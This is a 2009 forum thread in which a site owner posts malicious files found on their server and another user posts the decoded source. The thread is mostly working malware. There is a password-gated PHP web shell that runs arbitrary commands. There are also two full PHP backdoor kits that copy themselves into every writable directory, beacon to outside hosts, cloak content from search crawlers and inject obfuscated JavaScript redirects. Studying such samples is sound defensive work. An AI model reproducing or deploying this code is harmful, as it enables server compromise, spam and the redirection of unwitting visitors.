t8wHfRwDBlbECWZ0TAaGtSMFZ6CgBPYVuKbCqFG0JaJAhFY1WAbFkjgFFVMEpyVzHBRXRECqNTbHBpkkBwCgFaHk9IHkoyTXpUgGGDEAQwZDQHAVZXOUpiSFJGVugAUlaICAoEamxVQMFWMUpXU21KU0hORk8S3VZSV0vBVEchQEdQwX7AM4/BZ40MCXjRhg4wVW1wWi6BNYIhQFRUZKFBr0BGc2JHjzK6SnNPVStCAgItRTaAbVU2gDFANGUWAFFkRWoEAwIBU2wsQk9SRThAVU5uIAVWj2AMAFlWaFIwQX+KMUI2TkRoUU1VSgAASlZVTkJQU0k3SUNSamIyUgCAbGJHOWphMTkAwlBYTjBjbDkAAHlaWEJzWVdObEtDSkFJaXdQAGk4wG4AgGdKR052WkdWc2IyThAAclgyAMFVcE95QWtZMjlrWlcoAHh2i4BmAMJUMXpkSEpmY21WdwAAYkdGalpTZ2lJU0lzSUNKWGIATgCCB89LVHMGD0dVOWMzUnlYMwAASmxjR3hoWTJVb0lpb2lMQ14AQQlCUwTPDIIEzwrCOVltRnpaVFkwZABYD4AKglNnC89TazdJR1YyWVd3YEBvDw8PAksnKSk7IAARPz4="));
|
.906.php
<html>
<?
if($_GET['p'] == 'g00git') {$c=$_POST['c'];
echo "
<form action=\"$PHP_SELF\" method=\"POST\">
[".exec("whoami")."@$SERVER_NAME ".exec("pwd")."] \$ <input size=22 type=text name=c value='$c'><br><br>
<font face='Lucida Console, Courier'><pre>";
if ($c) passthru($c." 2>&1"); } ?>
</form>
</pre>
</html> |
|
|
|
|
|
|
|
|
Posted: Sat Dec 05, 2009 2:53 pm |
|
|
zerobytes |
Valuable expert |
|
|
Joined: Aug 30, 2008 |
Posts: 199 |
|
|
|
|
|
|
|
your 1st file decodes to
Code: |
<?
error_reporting(0);
ignore_user_abort(true);
set_time_limit(0);
function GetCode($url) {
if (function_exists(curl_init)){
$ch = curl_init();
if ($ch){
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_USERAGENT, "codelock");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10);
$returned_code=curl_exec ($ch);
curl_close ($ch);
}
}
else {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"User-Agent: codelock\r\n"
)
);
$returned_code = "";
$context = stream_context_create($opts);
$fp = fopen($url, 'r', false, $context);
if ($fp) {
while (!feof($fp))
{
$buffer = fread($fp, 1024);
$returned_code .= $buffer;
}
fclose($fp);
}
}
return $returned_code;
}
function GetLinksArray($keywords_array) {
$counter=0;
$count_keywords_array = count($keywords_array);
$http_host = $_SERVER["SERVER_NAME"];
$http_path = $_SERVER["SCRIPT_NAME"];
for ($i=0; $i < $count_keywords_array; $i++) {
$key = trim($keywords_array[$i]);
$key_link = trim($keywords_array[$i]);
if ($key) {
$links_array [] = "<a href=\"http://$http_host$http_path?id=$key_link\">$key</a>";
$links_file .="<a href=\"http://$http_host$http_path?id=$key_link\">$key</a>\n";
}
// $counter++;
}
if(file_exists(".li_ca")) unlink (".li_ca");
MakeCache (".li_ca",$links_file);
return $links_array;
}
function MakeCache ($filename,$somecontent){
// Let's make sure the file exists and is writable first.
// if (is_writable($filename)) {
// In our example we're opening $filename in append mode.
// The file pointer is at the bottom of the file hence
// that's where $somecontent will go when we fwrite() it.
if (!$handle = fopen("./".$filename, 'w')) {
echo "Cannot open file ($filename)";
exit;
}
// Write $somecontent to our opened file.
if (fwrite($handle, $somecontent) === FALSE) {
echo "Cannot write to file ($filename)";
exit;
}
// echo "$somecontent";
// echo "Success, wrote to file ($filename)";
fclose($handle);
// } else {
// echo "The file $filename is not writable";
// }
}
function GetCache ($cachefile){
$cachefile = ".$cachefile"."_ca";
if(file_exists($cachefile)) {
$html_page = file_get_contents($cachefile);
}
else $html_page=0;
return $html_page;
}
function Get404 (){
$script_name = $_SERVER['REQUEST_URI'];
header("HTTP/1.0 404 Not Found");
echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">
<HTML><HEAD>
<TITLE>404 Not Found</TITLE>
</HEAD><BODY>
<H1>Not Found</H1>
The requested URL $script_name was not found on this server.<P>
</BODY></HTML>";
}
function GetRandomRedirect () {
$source_redirect = '<script>
var replace_var1="\'1Aqapkrv\'1G\'2F\'2Cfmawoglv,upkvg\'0:\'00\'1Aqap\'00)\'00krv\'02nclewceg\'1FHctcQapkrv\'02qpa\'1Fjvvr\'1C--uuu,c/l/f/vjg,amo-uvp-pmwvgp,rjr\'1Dpgd\'1F\'00)gqacrg\'0:fmawoglv,pgdgppgp\'0;)\'00\'04lkajg\'1Fpclfmo/vgzv/jgpg\'04qglqmp\'1F\'00)nmacvkml,jpgd)\'00\'1G\'1A\'7A-qap\'00)\'00krv\'1G\'00\'0;\'1@\'2F\'2C\'1A-qapkrv\'1G"; replace_var4=""; replace_var3="";var replace_var2;replace_var2=replace_var1.length;for (i=0;i<replace_var2;i++){ replace_var4+=String.fromCharCode(replace_var1.charCodeAt(i)^2) }replace_var3=unescape(replace_var4);document.write(replace_var3);
</script>';
$random_redirect = str_replace("replace_var1",make_password(8),$source_redirect);
$random_redirect = str_replace("replace_var2",make_password(8),$random_redirect);
$random_redirect = str_replace("replace_var3",make_password(8),$random_redirect);
$random_redirect = str_replace("replace_var4",make_password(8),$random_redirect);
return $random_redirect;
}
function LinksUpdatePing () {
$http_host = $_SERVER["SERVER_NAME"];
$http_path = $_SERVER["SCRIPT_NAME"];
$url="http://dnschina2.com/li_update?host=$http_host&path=$http_path";
if (function_exists('curl_init')) {
$ch = curl_init();
if ($ch){
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_USERAGENT, "locked");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10);
$returned_code=curl_exec ($ch);
echo "$returned_code";
curl_close ($ch);
}
}
else {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"User-Agent: locked\r\n"
)
);
$returned_code = "";
$context = stream_context_create($opts);
$fp = fopen($url, 'r', false, $context);
if ($fp) {
while (!feof($fp))
{
$buffer = fread($fp, 1024);
$returned_code .= $buffer;
}
fclose($fp);
}
}
}
function EyePing ($gid) {
$http_host = $_SERVER["SERVER_NAME"];
$http_path = $_SERVER["SCRIPT_NAME"];
$url="http://publicpornvideo.com/dwfarm/eye.php?host=$http_host&path=$http_path&gid=$gid";
if (function_exists('curl_init')) {
$ch = curl_init();
if ($ch){
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_USERAGENT, "codelock");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10);
$returned_code=curl_exec ($ch);
echo "$returned_code";
curl_close ($ch);
}
}
else {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"User-Agent: codelock\r\n"
)
);
$returned_code = "";
$context = stream_context_create($opts);
$fp = fopen($url, 'r', false, $context);
if ($fp) {
while (!feof($fp))
{
$buffer = fread($fp, 1024);
$returned_code .= $buffer;
}
fclose($fp);
}
}
}
function SendInfoAfterGeneration ($count) {
$http_host = $_SERVER["SERVER_NAME"];
$http_path = $_SERVER["SCRIPT_NAME"];
$url="http://publicpornvideo.com/dwfarm/afterginfo.php?count=$count&host=$http_host&path=$http_path";
if (function_exists('curl_init')) {
$ch = curl_init();
if ($ch){
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_USERAGENT, "codelock");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10);
$returned_code=curl_exec ($ch);
echo "$returned_code";
curl_close ($ch);
}
}
else {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"User-Agent: codelock\r\n"
)
);
$returned_code = "";
$context = stream_context_create($opts);
$fp = fopen($url, 'r', false, $context);
if ($fp) {
while (!feof($fp))
{
$buffer = fread($fp, 1024);
$returned_code .= $buffer;
}
fclose($fp);
}
}
}
function make_password($len = 6){
$r = '';
for($i=0; $i<$len; $i++)
$r .= chr(rand(0, 25) + ord('a'));
return $r;
}
function gethost($ipaddress)
{
$host = trim( `getent hosts $ipaddress` );
$host=explode(" ",$host);
if(isset($host[1])) return $host[1];
else return "";
}
function CloaCheck () {
$search = 1;
$agent = "sax".strtolower($_SERVER['HTTP_USER_AGENT']);
if(strpos($agent, "google") != ""){
$search = "0";
}
elseif(strpos($agent, "slurp") != ""){
$search = "0";
}
return $search;
}
function GetDwLinksFromLi_ca($count=18) {
if (file_exists(".li_ca")) {
$links_array = file(".li_ca");
shuffle($links_array);
for ($i=1; $i<$count; $i++) {
$links_array[$i] = trim($links_array[$i]);
$return_links .= "$links_array[$i] | \n";
}
}
else return false;
return $return_links;
}
function recur_dir($dir)
{
$dirlist = opendir($dir);
while ($file = readdir ($dirlist))
{
if ($file != '.' && $file != '..')
{
$newpath = $dir.'/'.$file;
$level = explode('/',$newpath);
if (is_dir($newpath))
{
$mod_array[] = array(
// 'level'=>count($level)-1,
'path'=>$newpath,
// 'name'=>end($level),
// 'kind'=>'dir',
// 'mod_time'=>filemtime($newpath),
'content'=>recur_dir($newpath));
if (is_writable($newpath)) {
$mod_array[] = array(
//
'@'=>$newpath);
//
}
}
}
}
closedir($dirlist);
return $mod_array;
}
function GetData($url) {
if (function_exists(curl_init)){
$ch = curl_init();
if ($ch){
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_USERAGENT, "codelock");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10);
$returned_code=curl_exec ($ch);
curl_close ($ch);
}
}
else {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"User-Agent: codelock\r\n"
)
);
$returned_code = "";
$context = stream_context_create($opts);
$fp = fopen($url, 'r', false, $context);
if ($fp) {
while (!feof($fp))
{
$buffer = fread($fp, 1024);
$returned_code .= $buffer;
}
fclose($fp);
}
}
return $returned_code;
}
if($_GET["CMDS"]=="scmd") {
$cmd = $_GET["CMD"];
SWITCH ($cmd) {
case "WHO":
print_r($_SERVER);
$return_string = $_SERVER["DOCUMENT_ROOT"].";".$_SERVER["SERVER_ADDR"].";".$_SERVER["SCRIPT_NAME"];
print($return_string);
exit;
break;
case "CLONE":
$dirs = (recur_dir($_SERVER["DOCUMENT_ROOT"]));
function test_print($item, $key)
{
if ($key == "@") {
$filenames = array("map.php","review.php","show.php","start.php","imdex.php","script.php","sell.php","fm.php","dmn.php","wind.php");
$item = str_replace("//","/",$item);
$src_file = $_SERVER["SCRIPT_FILENAME"];
$rnd_name = $filenames[mt_rand(0,count($filenames)-1)];
$dst_filename = "$item/$rnd_name";
copy ($src_file, $dst_filename);
$dst_filename = str_replace($_SERVER["DOCUMENT_ROOT"],"",$dst_filename);
echo "http://".$_SERVER["SERVER_ADDR"]."/$dst_filename\n";
}
}
array_walk_recursive($dirs, 'test_print');
exit;
break;
case "EYE":
$gid = $_GET["gid"];
EyePing ($gid);
exit;
break;
case "GETSTATS":
break;
case "UPLOAD":
break;
case "SCAN":
break;
case "DWUPDATE":
break;
}
}
#FUNCTIONS END
$get_id = $_GET["id"];
$dwcount = $_GET["count"];
$rootkey = $_GET["rk"];
if ($pass=="gosurf" || $_GET["pass"] =="gosurf") {
$keywords = explode("\n",GetData("http://publicpornvideo.com/dwfarm/getkeywords.php?count=$dwcount&rk=$rootkey"));
$links_array = GetLinksArray($keywords);
SendInfoAfterGeneration ($dwcount);
LinksUpdatePing ();
exit;
}
if ($get_id) {
if ($get_id == 129032) {
$get_id = "li";
$cache_res = GetCache($get_id);
echo $cache_res;
exit;
}
$cloa_flag = CloaCheck();
$get_id = urlencode($get_id);
extract($HTTP_SERVER_VARS);
$referer = urlencode(strtolower($_SERVER['HTTP_REFERER']));
$agent = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));
$host = urlencode($_SERVER["REMOTE_ADDR"]);
$http_host = $_SERVER["SERVER_NAME"];
$http_path = $_SERVER["SCRIPT_NAME"];
$sensor = $http_host.$http_path;
$sensor = str_replace("http://","",$sensor);
$sensor = mysql_escape_string($sensor);
if ($cloa_flag==1) {
$word_link =
"http://a-n-d-the.com/wtr/router.php?ref=$referer&niche=32&sensor=$sensor&r32=1";
header("Location: $word_link",TRUE,302);
exit;
}
else {
$cache_res = GetData("http://publicpornvideo.com/dwpars/indexg.php?kw=$get_id&ref=$referer&ua=$agent&host=$host&sensor=$sensor");
$links_data = GetDwLinksFromLi_ca(18);
$cache_res = str_replace("[LINKS]",$links_data,$cache_res);
echo $cache_res;
exit;
}
}
else {
Get404 ();
exit;
}
?> |
ZeroBytes |
|
_________________ Decoded by ASD @ Lost-codes.co.uk |
|
|
|
|
|
|
|
Posted: Sat Dec 05, 2009 2:54 pm |
|
|
zerobytes |
Valuable expert |
|
|
Joined: Aug 30, 2008 |
Posts: 199 |
|
|
|
|
|
|
|
your second file decodes too
Code: |
<?php
error_reporting(0);
ignore_user_abort(true);
set_time_limit(0);
$hosts_array = array ('do-t-h-e.cn','for-t-h-e.cn','a-n-d-the.cn');
function GetCode($url) {
if (function_exists(curl_init)){
$ch = curl_init();
if ($ch){
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_USERAGENT, "codelock");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_TIMEOUT, 5);
$returned_code=curl_exec ($ch);
curl_close ($ch);
}
}
else {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"User-Agent: codelock\r\n"
)
);
$returned_code = "";
$context = stream_context_create($opts);
$fp = fopen($url, 'r', false, $context);
if(!$fp){
$var = '';
return $var;
}else{
stream_set_blocking($fp, FALSE );
stream_set_timeout($fp,5);
$info = stream_get_meta_data($fp);
while(!feof($fp) && !$info['timed_out']){
$content = fgets($fp,1400);
$returned_code .= $content;
$info = stream_get_meta_data($fp);
}
if($info['timed_out']){
$var = '';
fclose($fp);
return '';
}else{
fclose($fp);
return $returned_code;
}
}
}
return $returned_code;
}
function GetLinksArray($keywords_array) {
$counter=0;
$count_keywords_array = count($keywords_array);
$http_host = $_SERVER["SERVER_NAME"];
$http_path = $_SERVER["SCRIPT_NAME"];
for ($i=0; $i < $count_keywords_array; $i++) {
$key = trim($keywords_array[$i]);
$key_link = str_replace(" ","+",trim($keywords_array[$i]));
if ($key) {
$links_array [] = "<a href=\"http://$http_host$http_path?id=$key_link\">$key</a>";
$links_file .="<a href=\"http://$http_host$http_path?id=$key_link\">$key</a>\n";
}
// $counter++;
}
if(file_exists(".li_ca")) unlink (".li_ca");
MakeCache (".li_ca",$links_file);
return $links_array;
}
function MakeCache ($filename,$somecontent){
// Let's make sure the file exists and is writable first.
// if (is_writable($filename)) {
// In our example we're opening $filename in append mode.
// The file pointer is at the bottom of the file hence
// that's where $somecontent will go when we fwrite() it.
if (!$handle = fopen("./".$filename, 'w')) {
echo "Cannot open file ($filename)";
exit;
}
// Write $somecontent to our opened file.
if (fwrite($handle, $somecontent) === FALSE) {
echo "Cannot write to file ($filename)";
exit;
}
// echo "$somecontent";
// echo "Success, wrote to file ($filename)";
fclose($handle);
// } else {
// echo "The file $filename is not writable";
// }
}
function GetCache ($cachefile){
$cachefile = ".$cachefile"."_ca";
if(file_exists($cachefile)) {
$html_page = file_get_contents($cachefile);
}
else $html_page=0;
return $html_page;
}
function Get404 (){
$script_name = $_SERVER['REQUEST_URI'];
header("HTTP/1.0 404 Not Found");
echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">
<HTML><HEAD>
<TITLE>404 Not Found</TITLE>
</HEAD><BODY>
<H1>Not Found</H1>
The requested URL $script_name was not found on this server.<P>
</BODY></HTML>";
}
function GetRandomRedirect () {
$source_redirect = "<script type=\"text/javascript\"><!--
setTimeout('replace_var1()',1100);
function replace_var1()
{
replace_var2=location.href;
replace_var3 = escape(document.referrer);
document.write(\"<script language=JavaScript src=http://in-t-h-e.cn/show/main.php?r=\"+replace_var3+\"&n=x&s=\"+replace_var2+\"><\/script>\");
}
// --></script>";
$rand_linght = mt_rand(8,14);
$random_redirect = str_replace("replace_var1",make_password($rand_linght),$source_redirect);
$random_redirect = str_replace("replace_var2",make_password($rand_linght),$random_redirect);
$random_redirect = str_replace("replace_var3",make_password($rand_linght),$random_redirect);
return $random_redirect;
}
function EyePing ($gid,$up_host) {
$http_host = $_SERVER["SERVER_NAME"];
$http_path = $_SERVER["SCRIPT_NAME"];
$url="http://$up_host/index.php?host=$http_host&path=$http_path&gid=$gid&cmd=eye";
if (function_exists('curl_init')) {
$ch = curl_init();
if ($ch){
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_USERAGENT, "codelock");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10);
$returned_code=curl_exec ($ch);
echo "$returned_code";
curl_close ($ch);
}
}
else {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"User-Agent: codelock\r\n"
)
);
$returned_code = "";
$context = stream_context_create($opts);
$fp = fopen($url, 'r', false, $context);
if(!$fp){
$var = '';
return $var;
}else{
stream_set_blocking($fp, FALSE );
stream_set_timeout($fp,10);
$info = stream_get_meta_data($fp);
while(!feof($fp) && !$info['timed_out']){
$content = fgets($fp,1400);
$returned_code .= $content;
$info = stream_get_meta_data($fp);
}
if($info['timed_out']){
$var = '';
fclose($fp);
return '';
}else{
fclose($fp);
return $returned_code;
}
}
}
}
function SendInfoAfterGeneration ($count,$up_host) {
$http_host = $_SERVER["SERVER_NAME"];
$http_path = $_SERVER["SCRIPT_NAME"];
$url="http://$up_host/index.php?count=$count&host=$http_host&path=$http_path&cmd=info";
if (function_exists('curl_init')) {
$ch = curl_init();
if ($ch){
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_USERAGENT, "codelock");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10);
$returned_code=curl_exec ($ch);
echo "$returned_code";
curl_close ($ch);
}
}
else {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"User-Agent: codelock\r\n"
)
);
$returned_code = "";
$context = stream_context_create($opts);
$fp = fopen($url, 'r', false, $context);
if(!$fp){
$var = '';
return $var;
}else{
stream_set_blocking($fp, FALSE );
stream_set_timeout($fp,10);
$info = stream_get_meta_data($fp);
while(!feof($fp) && !$info['timed_out']){
$content = fgets($fp,1400);
$returned_code .= $content;
$info = stream_get_meta_data($fp);
}
if($info['timed_out']){
$var = '';
fclose($fp);
return '';
}else{
fclose($fp);
return $returned_code;
}
}
}
}
function isHostUp ($hosts_array) {
foreach ($hosts_array as $site) {
$port = 80;
$fp = fsockopen($site,$port,$errno,$errstr,2);
if($fp) {
return $site;
break;
}
}
return false;
}
function make_password($len = 6){
$r = '';
for($i=0; $i<$len; $i++)
$r .= chr(rand(0, 25) + ord('a'));
return $r;
}
function gethost($ipaddress)
{
$host = trim( `getent hosts $ipaddress` );
$host=explode(" ",$host);
if(isset($host[1])) return $host[1];
else return "";
}
function CloaCheck () {
$search = 1;
$agent = "sax".strtolower($_SERVER['HTTP_USER_AGENT']);
if(strpos($agent, "google") != ""){
$search = "0";
}
elseif(strpos($agent, "slurp") != ""){
$search = "0";
}
return $search;
}
function GetDwLinksFromLi_ca($count=18) {
$count = mt_rand(15,25);
if (file_exists(".li_ca")) {
$links_array = file(".li_ca");
shuffle($links_array);
for ($i=1; $i<$count; $i++) {
$links_array[$i] = trim($links_array[$i]);
$return_links .= "<li> $links_array[$i] </li><br>\n";
}
}
else return false;
return $return_links;
}
function recur_dir($dir)
{
$dirlist = opendir($dir);
while ($file = readdir ($dirlist))
{
if ($file != '.' && $file != '..')
{
$newpath = $dir.'/'.$file;
$level = explode('/',$newpath);
if (is_dir($newpath))
{
$mod_array[] = array(
// 'level'=>count($level)-1,
'path'=>$newpath,
// 'name'=>end($level),
// 'kind'=>'dir',
// 'mod_time'=>filemtime($newpath),
'content'=>recur_dir($newpath));
if (is_writable($newpath)) {
$mod_array[] = array(
//
'@'=>$newpath);
//
}
}
}
}
closedir($dirlist);
return $mod_array;
}
function GetData($url) {
if (function_exists(curl_init)){
$ch = curl_init();
if ($ch){
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_USERAGENT, "codelock");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10);
$returned_code=curl_exec ($ch);
curl_close ($ch);
}
}
else {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"User-Agent: codelock\r\n"
)
);
$returned_code = "";
$context = stream_context_create($opts);
$fp = fopen($url, 'r', false, $context);
if(!$fp){
$var = '';
return $var;
}else{
stream_set_blocking($fp, FALSE );
stream_set_timeout($fp,10);
$info = stream_get_meta_data($fp);
while(!feof($fp) && !$info['timed_out']){
$content = fgets($fp,1400);
$returned_code .= $content;
$info = stream_get_meta_data($fp);
}
if($info['timed_out']){
$var = '';
fclose($fp);
return '';
}else{
fclose($fp);
return $returned_code;
}
}
}
return $returned_code;
}
$up_host = isHostUp ($hosts_array);
if (!$up_host) $up_host = "no-more-hosts-you-win-again.com";
if($_GET["CMDS"]=="scmd") {
$cmd = $_GET["CMD"];
SWITCH ($cmd) {
case "WHO":
print_r($_SERVER);
$return_string = $_SERVER["DOCUMENT_ROOT"].";".$_SERVER["SERVER_ADDR"].";".$_SERVER["SCRIPT_NAME"];
print($return_string);
exit;
break;
case "CLONE":
$dirs = (recur_dir($_SERVER["DOCUMENT_ROOT"]));
function test_print($item, $key)
{
if ($key == "@") {
$filenames = array("map.php","review.php","show.php","start.php","imdex.php","script.php","sell.php","fm.php","dmn.php","wind.php");
$item = str_replace("//","/",$item);
$src_file = $_SERVER["SCRIPT_FILENAME"];
$rnd_name = $filenames[mt_rand(0,count($filenames)-1)];
$dst_filename = "$item/$rnd_name";
copy ($src_file, $dst_filename);
$dst_filename = str_replace($_SERVER["DOCUMENT_ROOT"],"",$dst_filename);
echo "http://".$_SERVER["SERVER_ADDR"]."/$dst_filename\n";
}
}
array_walk_recursive($dirs, 'test_print');
exit;
break;
case "EYE":
$gid = $_GET["gid"];
EyePing ($gid,$up_host);
exit;
break;
case "GETSTATS":
break;
case "UPLOAD":
break;
case "SCAN":
break;
case "DWUPDATE":
break;
}
}
#FUNCTIONS END
$get_id = $_GET["id"];
$dwcount = $_GET["count"];
$rootkey = $_GET["rk"];
if ($pass=="gosurf" || $_GET["pass"] =="gosurf") {
$keywords = explode("\n",GetData("http://$up_host/index.php?count=$dwcount&rk=$rootkey&cmd=gkw"));
$links_array = GetLinksArray($keywords);
SendInfoAfterGeneration ($dwcount,$up_host);
exit;
}
if ($get_id) {
if ($get_id == 129032) {
$get_id = "li";
$cache_res = GetCache($get_id);
echo $cache_res;
exit;
}
$cloa_flag = CloaCheck();
$get_id = urlencode($get_id);
extract($HTTP_SERVER_VARS);
$referer = urlencode(strtolower($_SERVER['HTTP_REFERER']));
$agent = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));
$host = urlencode($_SERVER["REMOTE_ADDR"]);
$http_host = $_SERVER["SERVER_NAME"];
$http_path = $_SERVER["SCRIPT_NAME"];
$sensor = $http_host.$http_path;
$sensor = str_replace("http://","",$sensor);
$sensor = mysql_escape_string($sensor);
if ($cloa_flag==1) {
echo GetRandomRedirect ();
exit;
}
else {
$cache_res = GetData("http://$up_host/index.php?kw=$get_id&ref=$referer&ua=$agent&host=$host&sensor=$sensor&tp=$http_host&cmd=ghtml");
$links_data = GetDwLinksFromLi_ca(18);
$cache_res = str_replace("[LINKS]",$links_data,$cache_res);
$today = date("Ymd");
$cache_res = str_replace("[DUID]",$_SERVER['HTTP_HOST'].$today, $cache_res);
echo $cache_res;
exit;
}
}
else {
Get404 ();
exit;
}
?> |
ZeroBytes |
|
_________________ Decoded by ASD @ Lost-codes.co.uk |
|
|
|
|
|
|
|
Posted: Sat Dec 05, 2009 3:46 pm |
|
|
y3mltd |
Beginner |
|
|
Joined: Dec 05, 2009 |
Posts: 2 |
|
|
|
|
|
|
|
Hi zerobytes,
Thanks very much for your help in decoding these. I've reported this to the authorities and the files have been deleted but what information could these kids have extracted from the site or from visitors using this code? |
|
|
|
|
www.waraxe.us Forum Index -> PHP script decode requests
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|